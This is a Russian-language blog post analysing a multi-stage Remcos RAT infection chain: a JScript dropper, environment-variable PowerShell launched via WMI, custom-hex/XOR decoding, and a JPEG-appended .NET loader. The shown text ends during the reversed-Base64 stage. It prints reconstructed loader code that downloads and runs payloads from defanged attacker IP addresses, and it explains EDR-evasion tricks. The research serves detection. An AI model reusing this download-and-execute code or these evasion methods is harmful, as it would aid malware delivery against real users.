Привет, Хабр! Сегодня я хочу рассказать о том, как один невзрачный .js-файл превратился в шесть слоёв упаковки, и в самом центре этой матрёшки сидел старый знакомый Remcos.

Немножко духоты

Скрытый текст

Это не инструкция и не учебник по сборке подобных цепочек, а рассказ о ходе исследования: что встретилось на каждом слое, какие приёмы использовал злоумышленник и почему они работают против защитных средств. Здесь не будет ключей и конфигов Remcos и готовых инструментов для сборки. Будут тактики, техники и немного боли аналитика. Код в статье логически верный, но намеренно нерабочий: сетевые адреса обезврежены, запустить его не получится. Расшифровку слоёв я показываю так, чтобы её можно было повторить в блокноте и CyberChef, без специализированного софта. Для вычитки, правок и технических консультаций я использовал ИИ.

В момент обнаружения этого сэмпла ни одного хэша из цепочки на VirusTotal не было, а один из промежуточных компонентов собран буквально за сутки до того, как попал ко мне. С чего всё началось? На анализ прилетел файл dTSlkj83JJD.js. Откуда он прилетел оставим за кадром, важнее то, что было дальше.

Весь разбор я делал статически. Ни одна стадия не запускалась: каждый слой вскрывался по коду и данным, а не по поведению в песочнице. Почему только статика? Хороший вопрос. Наверное правильный ответ здесь будет "Потому". Это дольше, но в итоге видно не только что делает вредонос, но и какие ещё режимы в нём заложены и в этой атаке не включены. Таких нашлось несколько.

Забегая вперёд, вот что получилось целиком:

JS-файл (Windows Script Host)
     └─ PowerShell, спрятанный в переменной окружения
          └─ PowerShell-загрузчик
               └─ .NET-сборка, приклеенная к JPEG-картинке
                    └─ текстовый файл с исполняемым файлом «задом наперёд»
                         └─ Remcos RAT 7.3.1 Pro внутри легитимного MSBuild.exe
Цепочка исполнения
Цепочка исполнения

На диске за всё время появляется только исходный .js. Всё остальное живёт в памяти, в сети или вообще несколько секунд.

Слой 1. JScript: тысяча строк ни о чём

Первое, что видишь при открытии файла, — 1 626 строк кода, большая часть которого не делает ничего. Буквально ничего:

 Ну тут всё ясно. Стена мусорного кода, среди которой теряются полезные строки.
Ну тут всё ясно. Стена мусорного кода, среди которой теряются полезные строки.

Развернуть строку, а потом развернуть её обратно. Заменить x на x. Округлить уже целое число. Сразу чувствуется рука мастера, у которого зарплата по количеству строк рассчитывается.

Шутки, шутками, но в данном случаем мусор нужен не для красоты. Он размывает статистические признаки файла, мешает глазам аналитика и простым эвристикам «этот скрипт слишком короткий и подозрительный». Отдельно порадовали ложные хэш-функции: несколько аккуратных реализаций в стиле FNV и DJB, с правильными константами, с тасованием массивов… и их результат нигде не используется. Это декорация «здесь серьёзная криптография», рассчитанная на беглый взгляд. Это все интересно и познавательно, но статья не про особенности обфускации, а немного о другом. Поэтому делаем магическое "Па" и мусора почти не осталось.

Настоящая полезная нагрузка слоя спрятана в строках, зашифрованных простым XOR и собранных по кусочкам из десятков присваиваний. После расшифровки вместо мусора проступает вполне осмысленный набор: WScript.Shell, winmgmts:root\cimv2, Win32_Process, Win32_ProcessStartup и длинная строка PowerShell.

Примерно так.
Примерно так.

Трюк с переменной окружения

Самое интересное в первом слое — как он передаёт управление дальше. Очевидный путь: запустить powershell.exe и передать код в командной строке. Очевидный путь отлично ловится, потому что командные строки процессов пишет в журнал почти любой EDR. Строка вида powershell.exe -enc <длинная база> давно стала сигнатурной классикой. Злоумышленники каждый раз пытаются придумать что-то новое. И их методы бывают весь изобретательные.

Но в данном случае все проще: разработчик лоадера передаёт код не через аргументы, а через переменную окружения пользователя.

Механика такая. Скрипт берёт длинную строку PowerShell — ту самую, что мы видели зашифрованной в начале файла — и записывает её как переменную окружения пользователя. Одна-две строчки через WScript.Shell.Environment, и значение уже лежит в HKCU\Environment. Там оно живёт недолго: буквально до конца выполнения скрипта, но этого хватает.

Потом скрипт создаёт новый процесс, но не обычным способом, а через WMI — конкретно через Win32_Process.Create в пространстве имён root\cimv2. Команда, которая передаётся в Create, выглядит почти невинно: «запусти cmd, а тот пусть запустит PowerShell и выполнит то, что лежит в переменной окружения с таким-то именем». Никакого кода, никакой полезной нагрузки — только ссылка на переменную.

Тут два ключевых эффекта, и оба работают против защитных средств.

Первый — тела кода нет в командной строке. Если EDR логирует запуск процессов (а по умолчанию он всегда логирует), он увидит короткую безобидную строку. Не увидит ни тело PowerShell, ни его размер, ни характерные паттерны вроде DownloadString или AppDomain.Load. Всё это лежит в переменной окружения, куда EDR, опять-таки, по умолчанию не заглядывает — потому что переменные окружения не принято писать в телеметрию создания процессов.

Второй — родителем нового процесса становится не wscript.exe. WMI работает через собственный сервис, и цепочка создания выглядит как WmiPrvSE.exe → cmd.exe → powershell.exe. Это ломает большинство правил вида «скрипт WSH запускает PowerShell» — потому что в момент создания процесса wscript уже не в цепочке. Он инициировал вызов, но по дереву процессов он «не при делах». Аналитик, который смотрит на лог создания процессов, видит сервис WMI, из которого внезапно растёт cmd.exe — картина, которая если и бросается в глаза, то не тем правилом, которое искали.

Отдельно про обёртку в командной строке. Там видно не iex, а конструкцию вида ([char[]](105,101,120)-join''). Три числа — это коды ASCII букв i, e, x, — которые собираются в массив символов и склеиваются в строку. Функционально получается тот же Invoke-Expression, но строкового совпадения «iex» в командной строке нет. Просто на всякий случай, для тех, кто охотится по ключевым словам. Мелочь, но она значимая: разработчик лоадера не строит танк, он просто снимает самые дешёвые триггеры.

Напомню
Напомню

И зачистка. Сразу после того, как WMI вернул управление, скрипт удаляет переменную окружения. К моменту, когда аналитик откроет журнал или посмотрит на систему вживую, её там уже нет. Остаются только записи телеметрии записи в реестр — если такая телеметрия вообще собирается. Именно поэтому подобные цепочки часто проходят мимо классического набора правил: артефакт существует секунды, и всё это время он существует в месте, куда по умолчанию никто не смотрит.

Маленькая честная оговорка

Скрытый текст

В исходном скрипте есть деталь, которую в статике не проверить. А исследование позиционируется именно как статическое. Объект Win32_ProcessStartup, отвечающий за параметры запуска (в том числе за скрытие окна), передаётся в вызов Win32_Process.Create не туда, куда предполагает сигнатура метода, — он оказывается на месте аргумента, который отвечает за рабочую директорию. Что это: ошибка автора или умышленный трюк, который в рантайме всё равно срабатывает благодаря тому, как WMI разбирает аргументы, — по одному тексту скрипта не сказать. Нужен запуск в изолированной среде. На саму цепочку это не влияет, но хороший пример того, почему «в статике видно, что делает» и «в статике видно, как именно оно сработает» — это два разных утверждения.

Примерно так выглядят готовый код:

var shell = new ActiveXObject("WScript.Shell");
var env   = shell.Environment("USER");                 // HKCU\Environment
env("dSkogdAdfz") = dSkogfgdAFy;                       // stage 2 → переменная окружения
var wmi   = GetObject("winmgmts::root\cimv2");
var si    = wmi.Get("Win32ProcessStartup").SpawnInstance_();
si.ShowWindow = 0;                                     // SW_HIDE
wmi.Get("Win32_Proces").Create(dSkoAdAF, si, new ActiveXObject("ScriptingDictionary"));
env.Remove("dSkogdAFz");                               // зачистка

Итог по первому слою: файл выглядит как тысяча строк бессмысленного кода, а по факту это короткая программа из четырёх действий — расшифровать, записать, запустить, подчистить. Всё остальное — шум для аналитика и эвристик. Дальше начинается уже не JScript, а то, что этот JScript аккуратно передал в переменной окружения.

Слой 2. PowerShell, собранный по кусочкам

Если открыть переменную окружения сразу после записи — а это, напомню, окно длиной в несколько секунд — внутри обнаружится примерно шесть тысяч символов PowerShell. Не Base64, не hex в привычном виде, а что-то похожее на мешанину из букв: fZFAYwSiJxzymLlj в одном месте, DYM9KF2x68ZT3cw в другом, и между ними — три длинных блока, которые выглядят как случайный текст из букв алфавита.

При ближайшем рассмотрении оказывается, что это не случайный текст. Это hex. Самый обычный hex, но с изюминкой: у него алфавит заменён на свой собственный.

Стандартный hex использует символы 0–9 и a–f — всего 16 символов, каждый кодирует половину байта. Разработчик лоадера взял ту же идею, но подставил вместо канонического алфавита строку из 16 букв: fZFAYwSiJxzymLlj. Первая буква — ноль, вторая — единица, и так далее до пятнадцатой. С точки зрения математики это ровно то же самое, что обычный hex, — просто глазами не узнаётся. Строка fZ означает «ноль, один» и соответствует байту 0x01 но, чтобы это заметить, надо сначала догадаться, что перед тобой hex.

Может возникнуть вопрос, а как же догадаться? А вот тут уже и приходит та самая рутина и серость разборе чужих вредоносных бинарей, скриптов и кода. Может повезти с первого раза, а может и не повезти и будешь ковыряться часа три. Чем больше практики, тем выше шанс что тебе «повезет» с первого раза.

Но в целом зачем нужен свой собственный алфавит? Причина все та же: чтобы не сработали детекты по паттернам. Любой мало-мальски приличный скрипт-анализатор знает, как выглядит шестнадцатеричная строка. Заменить 0–9a–f на произвольные буквы — и на входе у детектора уже не hex, а каша. При этом сам разработчик лоадера ничего не изобретает: он берёт байты полезной нагрузки, переводит их в hex своей алфавитной системой и радуется.

alphabet = "fZsdYdfgJxzymLlj"            # 16 символов: индекс = значение полубайта
seed     = "Dsdkdy2x68ZT3cw"

key_1 = [ord(d) ^ 0x5A for c in seed]
key_2 = [ord(d) ^ 0xA5 for c in seed]
key_3 = [ord(d) ^ 0x3C for c in seed]

byte_i = (alphabet.index(c3) * 16 + alphabet.index(c2)) ^ key[i % 15]
stage3 = decode(blob_1, key_1) + decode(blob_2, key_2) + decode(blob_3, key_3)
& ([char[]](105,101,120) -join '') $stage3       # iex

Каждый из трёх блоков зашифрован XOR-ом. Ключи разные, но выводятся из одного общего «зерна» — тоже строки из шестнадцати символов. К каждому символу зерна применяется своя константа: где-то 0x5A, где-то 0xA5, где-то 0x3C. Получаются три ключа по 15 байт каждый. Простое арифметическое упражнение, которое тем не менее даёт три независимых XOR-ключа без необходимости хранить их отдельно в скрипте.

Дальше — как обычно: побайтовый XOR, склейка трёх расшифрованных блоков подряд, и на выходе — цельное тело следующего слоя. Между блоками и ключами разбросаны шумовые присваивания вроде $j = 73 - 75 или $tFZ5iX = 0x8E2A - 0x36E1, которые ни на что не влияют. Просто ещё один слой декораций для беглого взгляда.

Когда блоки расшифрованы и склеены, на выходе получается короткий, но вполне осмысленный PowerShell-скрипт — загрузчик следующего слоя. Ничего экзотического: пара строк про TLS, вызов Add-Type с C#-обёрткой, три URL-адреса, регулярное выражение и вызов метода из загруженной сборки. Об этом — в следующем слое, а пока отметим важное.

<DEFANGED>

Start-Sleep -Seconds 3
[Net.ServicePointManager]:SecurityProtocol = [NetSecurityProtocolType]:Tls12

Add-Type - TypeDefinition @'
using System; using System.Reflection;
public class PhantoggfnNOtg {
  public static Assembly LoadAssembly(byte[] j) {
    Assembly a = AssemblyGetExecutingAssembly(); if (a != null) {}
    return AppDomainCurrentDomain.Load(j);
  }
}
'@

function d($urls) { $wc = New-Object NetWebClient
    (Get-Random $urls -Count $urls.Count) | % { try { return $wc.DownloadData($_) } catch {} } }

function i($bytes, $type, $method, $args = @()) {
    $asm = [PhantoggfnNOtg]:LoadAssembly($bytes)
    $t   = $asm.GetTypes() | ? { $_.FullName -eq $type }
    $m   = $tGetMethod($method, [Reflection.BindingFlags]'Public,NonPublic,Static,Instance')
    $o   = if (!$m.IsStatic) { [Activator]::CreateInstance($t) }
    $m.Invoke($o, $args) }

$b1 = @('hxxp://64[.]224[.]17[.]115/img/1[.]jpg',
        'hxxp://217[.]60[.]76[.]249:8080/1[.]jpg',
        'hxxp://104[.]223[.]84[.]34/1[.]jpg')

if (($b2 = d $b1) -and ([Text.Encoding]::UTF8.GetString($b2)) -match '<<STT>>(.*?)<<D>>') {
    $b3 = 'txt[.]dmfdjbd/lpxs/moc[.]fnqpdt[.]dn//:gsfkgfhfsfsd'
    $b3 = $b3.Substring(0, $b3.Length - 12)          # отрезаем 12 символов мусора, остаётся адрес, записанный задом наперёд
    i ([Convert]::FromBase64String($Matches[1])) 'myprogram.Homees' 'runss' `
      @($b3, '0', '', 'Msbuild', '0', 'x64')
    Get-Process | sort CPU -desc | select -first 5 | ft Name,CPU   # шум
}

Вся эта возня с кастомным алфавитом, тремя ключами и тремя блоками обнуляется одной настройкой PowerShell. Скрипт исполняется через iex — Invoke-Expression, и после расшифровки именно расшифрованное тело попадает в Script Block Logging. Если журнал Microsoft-Windows-PowerShell/Operational включён и собирается в SIEM, аналитик увидит в нём не мешанину из букв, а чистый, читаемый PowerShell. Всё то, что разработчик лоадера аккуратно прятал, окажется в открытом виде — просто в другом месте.

Это классическая ловушка обфускации: она защищает от глаз, но не от журналов. Пока обфускация на входе — она работает. Как только код доходит до момента исполнения, его видит сам движок PowerShell, а движок — если настроен — рассказывает об этом журналу. Кастомный алфавит здесь не защита, а косметика.

Вывод простой: обфускация, рассчитанная на глаза, не переживает встречи с журналом. Движок PowerShell видит код уже расшифрованным, и при включённом Script Block Logging (событие 4104) он попадает в журнал целиком.

И ещё одна важная деталь, которая многое говорит о происхождении кода. Имена переменных в скрипте — вида $mX1uNjJlf, $sdg3KoJSL, $aUldfZdYn. Это не случайные строки, а результат генерации: буквы и цифры смешаны по шаблону, похожему на то, что делает автообфускатор. В сочетании с шумовыми присваиваниями и ложными функциями из первого слоя это складывается в портрет: перед нами не рукописный эксплойт, а продукт инструмента-упаковщика. Что, кстати, хорошая новость для аналитика — у таких инструментов есть узнаваемый почерк, и один раз разобравшись, в следующий раз такие паттерны видны за пять минут.

Дальше начинается уже не обфускация, а код, который что-то делает: качает картинку, вытаскивает из неё сборку и запускает её в памяти. Об этом — в слое 3.

Слой 3. Загрузчик, который ищет картинку

Расшифрованное тело второго слоя — это уже почти нормальный PowerShell. Около сотни строк, никаких кастомных алфавитов, никаких трёх ключей из одного зерна. Просто скрипт, который делает свою работу. И работа эта — скачать картинку.

Правда, «картинка» здесь в кавычках. Об этом — в следующем слое, а пока разберём сам загрузчик, потому что в нём несколько интересных решений.

Первое, что бросается в глаза, — список из трёх URL. Все три ведут к файлу с именем 1.jpg, но лежат на разных адресах: один — на голом IP-адресе, второй — на IP-адресе с нестандартным портом, третий — вообще на другом IP-адресе, тоже голом. Доменных имён нет ни одного. Это не случайность: домен надо регистрировать, за ним надо следить, его можно слить в пассивный DNS и забанить одним правилом. Голый IP — дешевле, скучнее и живёт дольше, пока его не прикроют.

$b1 = @('hxxp://64[.]224[.]17[.]115/img/1[.]jpg',
        'hxxp://217[.]60[.]76[.]249:8080/1[.]jpg',
        'hxxp://104[.]223[.]84[.]34/1[.]jpg')

А дальше очередная изюминка. Скрипт не идёт по списку сверху вниз. Он перемешивает адреса случайным образом и пробует их по очереди — до первого успешного ответа. Если первый по счёту адрес отдал ошибку или не ответил вообще, берётся следующий. Если ответил — на этом всё, остальные два не трогаются.

Зачем это нужно? Затем, что три адреса — это, судя по всему, не три разных C2, а один, размноженный на три точки отказа. Но я проверил – по всем трем адресам выкачиваются картинки с идентичной нагрузкой. Логика в этой простая: подстраховать друг друга. Если инфраструктурного провайдера одного из IP прикроют — цепочка не встанет. Если один IP попадёт в чёрный список — цепочка не встанет. Случайный порядок добавляет ещё один слой: даже если кто-то наблюдает за трафиком и видит обращение к одному адресу, он не может быть уверен, что следующий запуск пойдёт туда же. Это не защита, это размазывание статистики.

Дальше — тонкость, которую замечаешь не сразу. Скрипт использует Net.WebClient — стандартный класс .NET для HTTP-запросов. У этого класса есть поведение по умолчанию: он не отправляет заголовок User-Agent. Совсем. Никакого Mozilla/5.0, никакого curl/8.0, вообще ничего.

function d($urls) { $wc = New-Object Net.WebClient
    (Get-Random $urls -Count $urls.Count) | % { try { return $wc.DownloadData($_) } catch {} } }

Обычно это считают мелочью. Но для сетевого аналитика это золотая жила: нормальный браузер, нормальный загрузчик, нормальная программа — все они представляются. Пустой User-Agent в логах прокси — это красный флаг, который видно за версту. Запрос к голому IP-адресу без User-Agent — это уже не «может быть, какой-то старый софт», это почти диагноз.

И вот тут оператора можно пожурить. Он этого, судя по коду, и не скрывает. Возможно, не знал, возможно, поленился. Но факт остаётся: если бы вся цепочка шла через корпоративный прокси, эти два запроса — за 1.jpg — были бы первыми, за которые зацепился бы взгляд дежурного.

Третий интересный момент — как скрипт загружает следующую сборку. Очевидный путь: взять класс Reflection.Assembly из .NET и вызвать у него метод Load, передав ему байты. Одна строка, просто и эффективно. И именно поэтому это плохой путь: сигнатура Assembly.Load в PowerShell давно прописана во всех правилах и в большинстве EDR-движков.

Разработчик лоадера пошёл другим путём. Он использует командлет Add-Type, который компилирует новый C#-код на лету. Внутри этого C#-кода есть класс с забавным именем вроде PhantoggfnNOtg и статический метод, который внутри себя делает всё ту же самую загрузку сборки в память. С точки зрения результата — ничего не изменилось. С точки зрения сигнатур — изменилось всё: Add-Type сам по себе абсолютно легитимный командлет, его используют все, кому не лень, для добавления типов в сессию PowerShell. Прямого вызова Assembly.Load в скрипте нет.

Add-Type -TypeDefinition @'
using System; using System.Reflection;
public class PhantoggfnNOtg {
  public static Assembly LoadAssembly(byte[] j) {
    Assembly a = Assembly.GetExecutingAssembly(); if (a != null) {}
    return AppDomain.CurrentDomain.Load(j);
  }
}
'@

Цена, которую разработчик лоадера тут заплатил, — заметный хостовый артефакт. Add-Type под капотом вызывает компилятор csc.exe и оставляет после себя временные файлы в %TEMP%. В дереве процессов появляется csc.exe с родителем powershell.exe — картина, которая в нормальной корпоративной среде встречается примерно никогда. Аналитик, который охотится на «странные сборки в PowerShell», получит здесь подсказку прямо в лоб.

 Оговорка для внимательных

Скрытый текст

Это верно для Windows PowerShell 5.1, где Add-Type компилирует через CodeDom и действительно порождает csc.exe. В PowerShell 7 компиляция идёт через Roslyn прямо в процессе, и отдельный csc.exe не появляется. Но вся цепочка завязана на классический powershell.exe — а это и есть 5.1, так что здесь артефакт на месте.

 Это как снять невидимую сигнализацию с двери и зато повесить колокольчик на ручку. От Assembly.Load ушли, к csc.exe пришли. Обмен шила на мыло, но для автоматических детектов — вполне осмысленный.

Когда один из трёх адресов наконец отвечает, скрипт берёт полученный текст и прогоняет его через регулярное выражение. Ищется всё, что лежит между двумя маркерами — <<STT>> в начале и <<D>> в конце. Всё, что до первого маркера и после второго, отбрасывается. То, что между ними, — это Base64.

if (($b2 = d $b1) -and ([Text.Encoding]::UTF8.GetString($b2)) -match '<<STT>>(.*?)<<D>>') 

Здесь и заканчивается третий слой. Дальше скрипт декодирует Base64, получает байты, загружает их в память через свой C#-обвес, находит в загруженной сборке нужный тип, нужный метод и вызывает его с шестью аргументами. Как именно выглядит вызов — тема следующего слоя, а пока просто зафиксируем: из всего PowerShell-кода третьего слоя к реальной полезной работе относятся пять строк. Всё остальное — обвязка вокруг них.

Отдельная деталь, которую стоит упомянуть. Все строки внутри этого PowerShell-скрипта — URL-адреса, маркеры, имя типа, имя метода, имена аргументов — тоже зашифрованы. Метод шифрования предельно простой: Base64, поверх которого наложен побайтовый XOR с константой 0x72. Сто четырнадцать в шестнадцатеричном виде — это ASCII-код буквы r, но это ни на что не влияет, просто случайная константа.

Механизм расшифровки, соответственно, ещё проще: снять Base64, снять XOR, получить строку. В скрипте он оформлен как маленькая функция с длинным невнятным именем вроде _voogh. Рядом с ней — пара параметров с числами вроде 1344 и 'FbkSIhdm', которые на самом деле нигде не используются. Ещё один слой декораций.

Понятно, что XOR с одним байтом — это даже не обфускация, это гигиена. Смысл в том же, что и с кастомным алфавитом во втором слое: убрать узнаваемые строки, чтобы простой поиск по http:// или <<STT>> в теле скрипта ничего не нашёл. От серьёзного анализа это не защищает, но от беглого просмотра — вполне.

И последняя деталь, которая многое говорит про стиль разработчика лоадера. Адрес финальной нагрузки — того самого текстового файла, который подтягивается позже — зашит в скрипт в изуродованном виде. Строка развёрнута задом наперёд, к ней приклеен мусорный хвост из двенадцати символов, и на конце нет привычного http. Схема дописывается уже в следующем слое.

$b3 = 'txt.dmfdjbd/lpxs/moc.fnqpdt.dn//:gsfkgfhfsfsd'

Причина всё та же: чтобы по строке нельзя было сразу понять, куда ведёт цепочка. Развёрнутая строка не находится поиском. Мусорный хвост мешает декодированию, если кто-то попробует прочитать её как есть. Отсутствие схемы — чтобы не сработал самый тривиальный детект по http:// и https://.

Вся эта возня разваливается за одну минуту, если знать, что искать. Но разработчик лоадера, судя по всему, и не рассчитывал, что кто-то будет искать специально. Он рассчитывал на то, что никто не будет искать вообще — и в этом, если честно, он прав чаще, чем хотелось бы.

Дальше начинается самое интересное: та самая «картинка», которую скрипт скачал.

Слой 4. Картинка, которая не совсем картинка

1.jpg
1.jpg

Итак, скрипт скачал 1.jpg. Файл открывается двойным щелчком, он не битый, картинка приятная глазу, имеет правильные магические байты FF D8 FF в начале и FF D9 в конце. Обычная картинка. Пока не посмотришь на её размер.

Как я безопасно скачал 1.jpg?

Скрытый текст

Вариантов много, я использовал такую цепочку: браузер (linuxserver/chromium) запущен в контейнере на отдельном VPS и выходит в сеть через Tor. Сервер злоумышленника видит выходной узел Tor, а не мой домашний адрес и не адрес VPS. Контейнер на отдельной машине даёт изолированную среду, где браузер можно запускать с нужными параметрами. Сам файл я не открывал и не запускал, только сохранил как данные.

В целом хватило бы и простогоcurl через Tor.

А вот и наш <<STT>>
А вот и наш <<STT>>
Полезная нагрузка в итоговом изображении парктически невесомая
Полезная нагрузка в итоговом изображении парктически невесомая

Сразу важное терминологическое уточнение, потому что его часто путают. То, что здесь происходит, — это не стеганография. Стеганография — это когда данные прячут внутри пикселей: меняют младшие биты цвета так, что глазом не видно, но декодер знает, где искать. Для этого нужен специальный алгоритм встраивания и специальный алгоритм извлечения.

Здесь всё гораздо проще. После конца файла — после того самого FF D9, который сигнализирует «картинка закончилась» — просто дописан кусок текста. Формат JPEG, как и большинство графических форматов, устроен так, что декодеры читают до маркера конца и игнорируют всё, что после. Картинка откроется, покажется, никто не заметит. А аналитик, который просто проверит «валидный ли это JPEG», получит ответ «валидный» и пойдёт дальше.

Именно поэтому append так популярен у малвари. Он не требует ни специальных инструментов, ни тонкой настройки — просто дописать байты в конец файла. И именно поэтому проверка «файл открывается как картинка» ничего не значит. Но важно отметить: просто открыв картинку, запустить полезную нагрузку невозможно, для запуска нужен лоадер, который знает про маркеры.

<<STT>>
<<STT>>
<<D>>, а еще странный AAAAAAAAAA==
<<D>>, а еще странный AAAAAAAAAA==

 Между маркерами <<STT>> и <<D>> лежит Base64. После декодирования получается PE-файл — сборка .NET размером около 67 килобайт. Тот самый myprogram.exe, о котором шла речь в третьем слое.

 

MZ - два символа, которые говорят, что ты идешь правильно.
MZ - два символа, которые говорят, что ты идешь правильно.

Сборка обфусцирована SmartAssembly — это коммерческий обфускатор для .NET, и его почерк узнаётся сразу, если хоть раз видел. Методы переименованы так, что почти все называются одним и тем же словом и различаются только сигнатурами-перегрузками. Классы получили «нейтральные» имена вроде MemoryMapper, ConnectionInvoker, DeviceScope — по ним можно догадаться о назначении, но не более того. Строки зашифрованы и лежат в ресурсе сборки. Поток управления запутан вставками, которые никогда не выполняются.

myprogram.exe
myprogram.exe
Нейтральные имена
Нейтральные имена

В сборке есть приличный набор антиотладочных проверок. Проверка Debugger.IsAttached, вызов IsDebuggerPresent, вызов CheckRemoteDebuggerPresent, поиск окна с именем OLLYDBG через перечисление всех окон системы и сравнение имён классов. Стандартный джентльменский набор для любого уважающего себя .NET-лоадера.

Вот только есть нюанс. Все эти проверки вызываются из метода Main — то есть из точки входа сборки, которая срабатывает, если запустить файл как обычный EXE. А в нашей цепочке сборка не запускается как EXE. Она загружается в память через рефлексию — тот самый C#-обвес из третьего слоя дёргает нужный метод напрямую. Main при этом не вызывается вообще.

Это как поставить сигнализацию на дверь, а ходить через окно. Причём через окно ходит сам хозяин: он же и написал эту загрузку через рефлексию. Получается, что антиотладка в сборке есть, но в этой конкретной цепочке она мертва. Это не редкий случай — так бывает у переиспользуемых лоадеров. Оператор берёт готовую сборку, встраивает её в свою цепочку и не задумывается, что часть защит при таком способе запуска просто не срабатывает.

Для аналитика это хорошая новость: не нужно возиться с обходом антиотладки, потому что она не запускается. Достаточно аккуратно извлечь сборку из картинки и разобрать её в удобном инструменте.

Ключевой метод сборки называется runss и принимает шесть параметров. Именно его вызывает загрузчик из третьего слоя. По названиям параметров и по логике метода восстанавливается картина, которая говорит о функциональности сборки больше, чем любая обфускация.

  1. Первый параметр — список адресов. Тот самый изуродованный адрес с развёрнутой строкой, обрезанным хвостом и отсутствующей схемой, про который мы говорили в третьем слое. Сборка разворачивает его обратно, приклеивает http, получает URL текстового файла. Это тот самый dbjdfmd.txt, который мы разберём в следующем слое.

  2. Второй параметр — режим закрепления. Ноль означает «не закрепляться, работать только в памяти». Единица, двойка, тройка, четвёрка — разные способы закрепиться: через bat-файл, через vbs, через js, через hta. В нашей цепочке стоит ноль. Прописки в RunOnce или Run нет, файлов в %ProgramData% нет, после перезагрузки всё пропадает.

  3. Третий параметр — имя файла для закрепления. Пустая строка, потому что закрепление выключено.

  4. Четвёртый параметр — процесс-контейнер для инъекции. Здесь стоит Msbuild. Могло стоять RegAsm, могло Vbc, могли ещё какие-то подписанные тулзы из .NET Framework. Выбор богатый.

  5. Пятый параметр — watchdog. Ноль означает «выключен». Если поставить единицу, сборка создаст bat-файл, который раз в 70 секунд проверяет, жив ли процесс-контейнер, и при необходимости перезапускает цепочку. Аккуратный такой «сторожевой пёсик».

  6. Шестой параметр — архитектура. x64 означает «инжектить в 64-битный процесс», x86 — в 32-битный. Разница в том, какие пути к .NET Framework используются и какой из двух методов инъекции вызывается.

В нашем случае выключено почти всё: ни закрепления, ни watchdog, работа только в памяти, до первой перезагрузки. Объяснение «разработчик не умеет» не подходит: весь код закрепления и сторожа в сборке есть. Правдоподобнее другое: у этой цепочки как минимум два участника. Первый, разработчик лоадера, собрал универсальный инструмент со множеством режимов. Второй, оператор кампании, взял его готовым и, скорее всего, выставил параметры «из коробки», не вникая в остальные возможности. Косвенно это подтверждается тем, что этот же лоадер (класс myprogram.Homees, метод runss) SonicWall описывал в совсем другой цепочке, с VioletRAT и другими маркерами, <<START>> и <<END>>. Значит, инструмент ходит по рукам. Дальше я буду различать эти роли: восхищаться разработчиком и придираться к оператору.

Отдельная деталь, которая выглядит забавно. Если запустить myprogram.exe как обычный EXE — двойным щелчком, не через рефлексию — откроется пустая Windows Forms форма с кнопками button1–button4 и текстовым полем. Ничего не делает, ничего не показывает, просто висит.

Весьма минималистично
Весьма минималистично

Это не баг и не заготовка под будущий интерфейс. Это расчёт на то, что кто-то запустит файл «посмотреть, что это», увидит криво собранную софтину, пожмёт плечами и закроет. Антианализ через безразличие. Причем в этом случае как раз таки вызывается Main и антиотладка начинает работать в полную силу. Как вариант такая форма и антиотладка и были специально созданы для того, чтобы усложнить анализ в динамике.

И последнее, что стоит сказать про этот слой. Лоадер — не новый. Тот же самый класс Homees, тот же самый метод runss, тот же самый набор параметров, тот же самый SmartAssembly — всё это уже описывалось в разборе SonicWall Capture Labs, где его использовали в цепочке с финальной нагрузкой VioletRAT v6.5. Там, правда, были другие маркеры в контейнере — <<START>> и <<END>> вместо <<STT>> и <<D>> — и другой финал. Но сам лоадер — один и тот же.

 Ссылка на разбор SonicWall — для тех, кто хочет копнуть в сторону лоадера отдельно: [VioletRAT v6.5: From .NET Loader to In-Memory RAT — A Deep Dive into the Infection Chain](https://www.sonicwall.com/blog/violetrat-v6-5-from-net-loader-to-in-memory-rat-a-deep-dive-into-the-infection-chain).

 Что это значит для нас? Что лоадер ходовой. Им пользуются разные люди для доставки разных нагрузок. Это не «почерк конкретной группы», это «готовый инструмент, который можно взять и применить». Поэтому атрибутировать по лоадеру нельзя — по нему можно только понять, что перед нами кто-то, кто знает, где такие инструменты брать. А это, к сожалению, довольно широкий круг.

 Дальше сборка разворачивает адрес из первого параметра, стучится по нему и получает текстовый файл. О том, что в нём, — следующий слой.

Слой 5. Исполняемый файл задом наперёд в .txt

Сборка из предыдущего слоя развернула изуродованный адрес, приклеила к нему http, получила URL и постучалась наружу. Сервер ответил. И ответ этот — текстовый файл dbjdfmd.txt, размером около восьмисот восьмидесяти тысяч символов. Одна строка. Восемьсот восемьдесят тысяч символов одной строкой — это уже само по себе повод насторожиться.

Начало dbjdfmd.txt в текстовом редакторе. Видно, что строка начинается с ==AAAA…. Весьма подозрительно
Начало dbjdfmd.txt в текстовом редакторе. Видно, что строка начинается с ==AAAA…. Весьма подозрительно

Первое, что стоит отметить, — заголовок ответа. Сервер отдаёт файл с Content-Type: text/plain. Не application/octet-stream, как можно было бы ожидать от бинарной нагрузки, не image/jpeg, не что-то нейтральное. Именно текстовый файл.

И это не случайность. Лоадер из предыдущего слоя принимает ответ только если сервер отдал text/plain. Если заголовок другой — загрузка прерывается, сборка идёт к следующему адресу из списка, ничего не скачивает. Разработчик лоадера специально добавил эту проверку.

Зачем? Затем, что она отсекает две категории нежелательных наблюдателей. Первая — автоматические анализаторы, которые переписывают заголовки или заворачивают весь трафик через прокси с нормализацией Content-Type. Вторая — исследователи, которые решат «а давайте отдадим лоадеру свой файл и посмотрим, что он сделает»: без правильного заголовка лоадер просто молча уйдёт ни с чем.

Это не защита. Это вежливое «извините, вы не наш клиент».

Теперь про саму строку. Первое, что должно смутить любого, кто хоть раз работал с Base64, — она начинается с =. Два знака равенства, потом AAAA, потом длинная мешанина.

В нормальном Base64 паддинг стоит в конце, а не в начале. Это не пожелание, это следствие того, как работает кодирование: паддинг добивает длину вывода до кратной четырём, а добивать нечего в начале. Значит, единственное разумное объяснение — строку развернули.

Разворачиваем. И получаем на конце ту же самую картину, только с другой стороны: строка заканчивается на TVqQAAMAAAAEAAAA. Для тех, кто не узнаёт: TVqQ — это Base64-представление байтов MZ\x90\x00. А MZ — это канонический магический заголовок исполняемого файла Windows. Два байта 4D 5A, которые стоят в начале любого .exe или .dll ещё с DOS-времён, — и никуда не деваются уже сорок лет.

То есть перед нами Base64 от PE-файла, просто вывернутый наизнанку. Кто-то взял готовый исполняемый файл, закодировал его в Base64, потом развернул строку задом наперёд, положил в .txt и отдал по HTTP с Content-Type: text/plain.

Конец dbjdfmd.txt в текстовом редакторе, виден хвост строки с …AAMAAQqVT.
Конец dbjdfmd.txt в текстовом редакторе, виден хвост строки с …AAMAAQqVT.

